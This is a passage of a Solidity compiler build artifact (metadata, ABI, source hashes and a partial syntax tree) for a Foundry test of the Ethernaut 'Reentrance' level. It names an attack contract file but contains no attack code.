"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Reentrance.t.sol\":{\"keccak256\":\"0x9aa876e1c1f49fc0ec6a8c1306e7be84a6334439a74f7b1a417354c0a520eee0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fec25d239c4e298dba8672f33fca2e56b3a5f14899270667db9e41981a1f7235\",\"dweb:/ipfs/QmVETTgfGTW2wtwWAhu2ibXFYQoedsyPirXGR2oNPS4CwB\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Reentrance.t.sol":"TestReentrance"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/ReentranceAttack.sol":{"keccak256":"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e","urls":["bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195","dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Reentrance.t.sol":{"keccak256":"0x9aa876e1c1f49fc0ec6a8c1306e7be84a6334439a74f7b1a417354c0a520eee0","urls":["bzz-raw://fec25d239c4e298dba8672f33fca2e56b3a5f14899270667db9e41981a1f7235","dweb:/ipfs/QmVETTgfGTW2wtwWAhu2ibXFYQoedsyPirXGR2oNPS4CwB"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Reentrance.t.sol","id":64108,"exportedSymbols":{"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"Reentrance":[49710],"ReentranceAttack":[49771],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestReentrance":[64107],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2066:145","nodes":[{"id":63907,"nodeType":"PragmaDirective","src":"32:23:145","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":63908,"nodeType":"ImportDirective","src":"57:28:145","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":63910,"nodeType":"ImportDirective","src":"86:43:145","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":63909,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63912,"nodeType":"ImportDirective","src":"131:57:145","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":63911,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63915,"nodeType":"ImportDirective","src":"189:78:145","nodes":[],"absolutePath":"src/attacks/ReentranceAttack.sol","file":"src/attacks/ReentranceAttack.sol","nameLocation":"-1:-1:-1","scope":64108,"sourceUnit":49772,"symbolAliases":[{"foreign":{"id":63913,"name":"ReentranceAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49771,"src":"197:16:145","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":63914,"name":"Reentrance","n